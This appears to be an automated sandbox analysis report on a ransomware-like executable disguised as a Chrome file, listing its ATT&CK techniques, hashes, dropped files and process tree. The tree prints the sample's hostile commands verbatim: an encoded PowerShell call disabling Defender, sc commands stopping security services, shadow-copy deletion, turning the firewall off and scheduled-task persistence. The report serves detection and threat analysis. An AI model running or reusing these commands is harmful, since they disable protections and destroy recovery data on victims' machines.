90eb0b7d781032447c0152e7e551deeee6965e93288d5adea6b208e99e4914b5

Analysis

max time kernel
4s
max time network
165s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dawnontheamazon.com_chromes.exe
Size 50KB
Sample260504-jlehtad161
SHA256 90eb0b7d781032447c0152e7e551deeee6965e93288d5adea6b208e99e4914b5
MD5 2c52509058bd87ea564cc334566ebe8c
SHA1 1347bdbd936016e8bbe9bc9bb6c5413623ecb21b
SHA512 df796c03cb90df07a334f6fe376aaba7abdbc25e101bf893e7430f77836528acfa0cd09d24665f1e1ce75c79ea41fa6768e137911583a3d9930e4bad491a774c
SSDEEP 768:fdZDRtxpF0WBmCmkVZh1SRa/H/RgL4EC1XXGblfpp5KFc5x+:FlBf0xlkzh1fHGL4EEXGblfL5ucS
TLSH
T14733E64437F98211E1BF4ABA4DB192119B31B8939D32D79E06E505CE1AB3B40CDA8F77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/492-0-0x0000000000DB0000-0x0000000000DC2000-memory.dmp	disable_win_def
behavioral2/files/0x0005000000025aa1-2627.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5016	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2592	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4900	tasklist.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4264	sc.exe
5912	sc.exe
4028	sc.exe
1952	sc.exe
5936	sc.exe
1376	sc.exe
5376	sc.exe
5012	sc.exe
5632	sc.exe
4600	sc.exe
5964	sc.exe
1696	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5396	chrome.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2548	NETSTAT.EXE
4680	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1296	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4544	vssadmin.exe
3396	vssadmin.exe
4548	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6068	schtasks.exe
4196	schtasks.exe
3972	schtasks.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 492 wrote to memory of 652	492	dawnontheamazon.com_chromes.exe	78
PID 652 wrote to memory of 3024	652	chrome.exe	79
PID 492 wrote to memory of 5016	492	dawnontheamazon.com_chromes.exe	80
PID 492 wrote to memory of 5376	492	dawnontheamazon.com_chromes.exe	82
PID 492 wrote to memory of 5012	492	dawnontheamazon.com_chromes.exe	84
PID 492 wrote to memory of 4264	492	dawnontheamazon.com_chromes.exe	86
PID 492 wrote to memory of 5912	492	dawnontheamazon.com_chromes.exe	88
PID 492 wrote to memory of 5632	492	dawnontheamazon.com_chromes.exe	90
PID 492 wrote to memory of 4028	492	dawnontheamazon.com_chromes.exe	92
PID 492 wrote to memory of 4600	492	dawnontheamazon.com_chromes.exe	94

C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
"C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://dawnontheamazon.com
  2⤵
  - Enumerates system info in registry
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff89338c728,0x7ff89338c734,0x7ff89338c740
    3⤵
    PID:3024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1232,i,2482728580222495955,6471121721234088595,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2044 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,14810162342625399439,15746240821885058086,262144 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1984 /prefetch:2
    3⤵
    PID:5432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2232,i,15277848622866157019,1497411170379150694,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2608 /prefetch:13
    3⤵
    PID:5236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,8276906155344722180,2027202846298850755,2097152 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3184 /prefetch:1
    3⤵
    PID:4728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,9290415290652776403,10371633541209783081,2097152 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3204 /prefetch:1
    3⤵
    PID:1056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4224,i,17188593654607301604,17759477869379430458,2097152 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4236 /prefetch:9
    3⤵
    PID:3960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5012,i,7670981513473202622,7175072874899569701,2097152 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5020 /prefetch:1
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4556,i,10587348152119783073,9771353539761663676,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5568 /prefetch:14
    3⤵
    PID:1876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5588,i,16677711277296727653,1111335743700086294,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5632 /prefetch:14
    3⤵
    PID:2584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5604,i,15610549852378551795,699027471687126776,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:3392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5564,i,8321545480161834423,14761257687458053158,524288 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5704 /prefetch:14
    3⤵
    PID:3524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5472,i,4782109876203369959,10956914356055215496,262144 --field-trial-handle=1988,i,18018627096486285674,17871263796753492654,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5460 /prefetch:10
    3⤵
    PID:5240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4028
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5964
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:5140
- - C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
    "C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe"
    3⤵
    PID:4036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1696
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4544
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1104
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:6088
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3972
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6068
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3840
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3396
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:3356
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:4008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3436
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:1776
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4548
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4576
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:4880
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:1500
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:5180
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:5680
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:3388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:1884
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:1100
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1376
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4196
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:1076

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2928

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4820

C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
1⤵
PID:3852

C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
C:\Users\Admin\AppData\Local\Temp\dawnontheamazon.com_chromes.exe
1⤵
PID:5720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 68KB
SHA256 ee5507423c31487152cb92951ac7da2e9d0e45d6764ec3de16f215e3e915942e
MD5 b195873f7799f600c9eb30b8664d2528
SHA1 113634ffd7f094f4bc8409cac08c3a8bd0a549dd
SHA512 3277798c4f01da2ab54ca37a7ea6be7b1c12d2da8dced80d62c02de7e13306314f17554402aa531a34666229e2b162e12e475f191dafcbafcda1d905e1c05406
SSDEEP 1536:+BU9FJxbvYvzW3iUCiqB7/gHPo7Ou1uIeVEYEkg2+PjXQQdLkeSYrRv514Gj:+BUXXbvpXClzkoSu1uIXkgfXQQGXYrNv
TLSH
T174631A368B23FDC4677F3D80E06039561C8C3E2B97B9267CFAC50D9529A6684DF2E458
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 67KB
SHA256 fef408019f00926b3ebee396d4287378f82dabbfd67551fe2782535c7d6bb642
MD5 a0f4197f0926a3a8a4fd07e4abb464af
SHA1 2b9d9a4ce79b59aed5f5813709ea3a404d2487b0
SHA512 3e14b6d054d0c4f1aff6ec1dc97179c235a7ae5c3f88e25ce73bd5e19d7a54ea0a91ce2928228ed2d1252b048eef995d7688b09828f1bebda9c5b56ef98c26ca
SSDEEP 1536:eBU9FJxbvYvzW3iUCiqB7/gHPo7Ou1uIeVEYEkg2+PjXQQdLkeSYrRv514G6:eBUXXbvpXClzkoSu1uIXkgfXQQGXYrNO
TLSH
T146631A368B23FDC4677F3D80E06039561C8C3E2B97B6267CFAC50D9529A6684DF2E458
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 f42753030d12244c69d4c6efb870a1637da2c806a2e08ecbf4a64c35f9702e52
MD5 d9af51a2492c6659e5a3fc7373603842
SHA1 f8a30f83aa26921336948d59d18130f296a53c69
SHA512 8d0d626909e4ef64ce32e76d8825f7768574488ed9b30afeb8013a740ebf5e39e7a775aa2997671dc011bec7a4c536d8ef5bd138e76a9c6618fbd2f74b0b773e
TLSH
T1E1E0E56AD820E83719FE071960544B46EB5413166B80894B7B3D82088FB16270286C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 432B
SHA256 18f8249f7a211bcccc4c5b56adf43ca742d7eec39a2c47dab26e4d7a9ee0b921
MD5 7708d52b6c479827519c3f086d13e2de
SHA1 317faf9c4171b580d64666076aaef25a29899f2d
SHA512 2581e63a80d79a3fd3f9f29b1b3da495370e4ae22968bea2c12ffbc9e33913b944b8ba7cfa2239c0294186fa2010e4eedfad0716cc05c4af33fc3d3a03db5a29
TLSH
T1B3E0DF35E2C02C66DB4D1AB304C97DC47339959C00030F0F11B5086ED927BEA85E54E4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 384B
SHA256 79d589d4c51331586a6d65bb78881534034fcdfe519efa89637f05d951cfac9b
MD5 df6f8e8395cacabbbb44bcf44f110b4d
SHA1 b15d12c2d6600a799e77dd709a34644135c30e91
SHA512 aa509bf640888db1e7c1e2f45184263deefc50cda636f3640f617d3264094f8c934dd045e39a970ce2b0a930280ecb661d66c57ccb0002fc5deb05e5dff60a31
TLSH
T129E08C26C2C01C52CB5D1AB2108A7DC0B72D565C01130B1F01B588AEE62BBE6C5E44D8
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 ea958eb0a8e7a94b82f4028de20c8063dc0495e82b5955ef4d31a091023d7784
MD5 2b059221075a37ccd682e263377344e1
SHA1 58e6d33bcbde39015cda782b773a92063063e0f7
SHA512 70a81e432362dae38eb2a43bc8d472dce9d3aa3d496c0e4744b6df840d5d0e0404888d411c53087b559553ef56dca394d1531420be8f43dc8eeb30863e031a8e
SSDEEP 96:L8CkyF9/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0V1:YCkyF9/tH+bF+UI3iWGVYWNkqp3S
TLSH
T1F3F32C5E6F743211CDFD923668E648A3597CF02F8B2366C56C6104B5CEE2652B06C4AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 95c30d1c1d7362cdcdfdbe623e8a3515e95cf905ea2d99a5104f31fd2f56fd50
MD5 5122005de80c65d946fdc44ba9b16c5c
SHA1 b4b8171fc0d4f27ec9c1ab9247483ca2d5b0e77c
SHA512 b15a68bffb762ff1c51e1403239e84f25399cdffb1bf9b504cb24963292c8df2bbc1327a5b455599864ed0209255cba174a17292ed43d82c2fdf3e98088d40ed
SSDEEP 192:D2aoZveaIaEgdAfNXdE4CAsqFn0BNRX77xMzw8Y:D2aoZveaIaEgdAfNXdE4CAsqFn0BNRrn
TLSH
T1DFD135F7C3E89A2D891156F0AB152E1BCE590928572C3C57C8D4EE4F67E29B2E30064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 8621753f466326728ccb2a55d102dcd6a87e11f614d48981affe0ec32f3e2df0
MD5 d11d26c8f13f40ebf0d1882702efe329
SHA1 43e9e185c00a9848da470fce933d89d0faed3cb2
SHA512 95cbaea65d3db874344e7193858e3675976897f37e57b701e0a8b1a03a7c22666bb1f6f5cf9fa9ffcf96cd137be902688617c0a1f32a7830356c089e333ac047
SSDEEP 192:D2aoZTaIaEgdAfNXDNE4CAr/qFn0BNRXgxVX8L:D2aoZTaIaEgdAfNXDNE4CAr/qFn0BNRF
TLSH
T10ED134F7C3E89A2D891156F4AB152E1BCE590928572C3C57C8D4EE4F67E29B2E30064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 9024531dd5b871a127b64ed936f9949d3d20e8212a695bb855b976b6640236cd
MD5 bd1b62bbc11c47a5701986e2b1ad752a
SHA1 74fd424a0bee7791fa5b8f8a0fae4881136c5f5c
SHA512 6df801cb96070cf8aebad3658acbd81c95f42c97c9451b46cada8eaa7d62ab1d270faea639c58d4b02646e6d111599f342838e0b043b0b4633539cdbb507550c
TLSH
T17C518EB3C7E8997E890156E4AA153F1ACD690958532C3C5AC8D4AF1F53E28B6D24054F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
